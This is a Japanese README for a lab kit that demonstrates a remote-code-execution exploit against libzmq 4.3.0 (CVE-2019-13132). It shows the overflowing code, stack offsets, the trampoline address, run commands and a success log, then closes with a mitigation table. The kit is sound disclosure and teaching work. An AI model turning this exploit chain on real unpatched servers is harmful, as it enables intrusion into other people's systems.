
CVE-2019-13132 — libzmq CURVE INITIATE スタックオーバーフロー → RCE。動作するエクスプロイト + Docker ラボ。
CVE-2019-13132 に対する、エンドツーエンドで実際に動作する RCE エクスプロイト + 再現可能なラボです。これは libzmq の CURVE INITIATE ハンドシェイクハンドラにおけるスタックバッファオーバーフローです。サーバーの長期公開鍵(設計上公開されるパラメータ)を知っている攻撃者は、process_initiate() 内の固定サイズのスタックバッファをオーバーフローさせ、保存された戻りアドレスを上書きし、実行を任意のコードにリダイレクトできます。
著者: Nicolas Krassas (@dinosn)。
ラボ使用のみ。 このキットには、意図的に脆弱な libzmq 4.3.0 が緩和策を無効化した状態で同梱されています。ポート 5556 をラボの外部に公開しないでください。このバグは libzmq 4.3.2 で修正されています。
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
自動スモークテスト(エクスプロイトを実行し、証明ファイルを検証):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box は 416 バイトのスタック割り当てバッファです。memcpy は size - 113 バイトを 400 バイトのペイロード領域(オフセット 16..415)に書き込みます。size > 513 の INITIATE は、バッファを越えて保存された呼び出し先保存レジスタと戻りアドレスまでオーバーフローします。
クッキー検証はオーバーフローより前に行われるため、INITIATE は本物のクッキーを保持している必要があります。ただし、クッキーは直前の WELCOME メッセージから、サーバーの長期公開鍵のみを使用して取得されます。
CURVE プロトコルは、クライアントがサーバーの長期公開鍵をすでに保持しているように設計されています(接続 URI または設定に含まれます)。エクスプロイトは次の処理を行います:
memcpy が発火します。アプリケーションレベルの認証情報は不要です。ZAP 認証のバイパスもありません。オーバーフローは CURVE 鍵交換中に発生し、アプリケーションがピアを認識する前に発生します。
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
エクスプロイトは 464 バイトのペイロードを送信します: 戻りアドレスに到達するための 456 バイトのフィラー (0x41)、その後に lab_trampoline() のアドレスを含む 8 バイトです。
オーバーフロー後、crypto_box_open() は失敗します(オーバーフローしたデータは無意味な暗号文です)。エラーパスは失敗をログに記録し、errno を設定して -1 を返します — ただし、エラーパスはオーバーフロー領域より下のスタック位置(RSP+0xe0、RSP+0xf0、RSP+0x280)のみにアクセスするため、破損したスタックでも正常に実行されます。
関数エピローグ (add $0x628,%rsp; pop rbx-r15; ret) は破損した保存レジスタ(現在は 0x4141414141414141)をポップし、その後 ret がトランポリンアドレスをロードします。
lab_trampoline() は生の syscall(libc なし、fork() なし)を使用して証明ファイルを書き込みます:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
system() / fork() の代わりに生の syscall が使用されるのは、process_initiate() が libzmq の I/O スレッド上で実行されるためです。マルチスレッドプロセスでメインスレッド以外から fork() を呼び出すと、glibc の pthread_atfork ロックハンドラでデッドロックが発生します。
サーバーの長期公開鍵は CurveZMQ プロトコルにおける公開パラメータです — クライアントは接続するためにこれを保持している必要があります。通常は設定ファイル、URI、またはディスカバリメカニズムで配布されます。このエクスプロイトには秘密情報は一切不要です。
エクスプロイトには 2 つの値が必要です:
| フィールド | 値 | ソース |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (非 PIE バイナリ、固定アドレス) |
offset_to_ret | 456 | process_initiate の逆アセンブル結果 (0x658 - 0x490) |
2 つとも Docker ラボビルド(Debian 12、gcc 12、libzmq 4.3.0)向けの組み込みデフォルトとして exploit.py にハードコードされています。キャリブレーション手順は不要です — エクスプロイトを実行するだけです:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
解決の優先順位: --trampoline/--offset フラグ → --profile ファイル → /opt/zmq-curve-rce/profile.json → 組み込みデフォルト。
ZMTP にはイントロスペクション API がありません。グリーティングが明かすのはプロトコルバージョン (3.x) とメカニズム (CURVE) のみで、libzmq のビルド、コンパイラ、バイナリレイアウトについては何も明かしません。未知のターゲットに対する自動オフセット選択を可能にする、ランタイムでアクセス可能なビルド識別子は存在しません。
calibrate.sh / compute_offsets.py スクリプトは、トランポリンアドレスが変わる可能性がある、異なるディストリビューションや gcc バージョンでのリビルド用に提供されています。Docker ラボ内では自動的に実行されますが、必須ではありません。
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| 防御策 | 効果 |
|---|---|
| libzmq >= 4.3.2 へのアップグレード | 修正済み。 memcpy の前に INITIATE サイズの上限チェックが追加されました。 |
スタックカナリア (-fstack-protector) | 関数が戻る前にオーバーフローを検出します。 カナリアはローカル変数と保存レジスタの間にあり、オーバーフローはそれを破壊して __stack_chk_fail をトリガーします。 |
| ASLR | 共有ライブラリとスタックのアドレスをランダム化します。 トランポリンは非 PIE バイナリ(固定アドレス)にありますが、本番サーバーは PIE であり、情報漏洩が必要になります。 |
| PIE | サーバーバイナリのロードアドレスをランダム化します。 漏洩がなければトランポリンアドレスは予測できなくなります。 |
| NX | ここでは無関係です — シェルコードは注入されず、エクスプロイトは既存のコードを呼び出します。 |
| ZAP / アプリケーションレベルの認証 | 効果なし — オーバーフローは CURVE 鍵交換中に発生し、ZAP が参照される前です。 |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT。意図的に脆弱な libzmq 4.3.0 ソースは、ビルド時にアップストリームの LGPLv3-with-exceptions / MPLv2 リポジトリから取得されます。
防御的セキュリティ研究、教育、および認可されたセキュリティテスト専用です。同梱の脆弱なビルドを、隔離されたラボ環境の外にデプロイしないでください。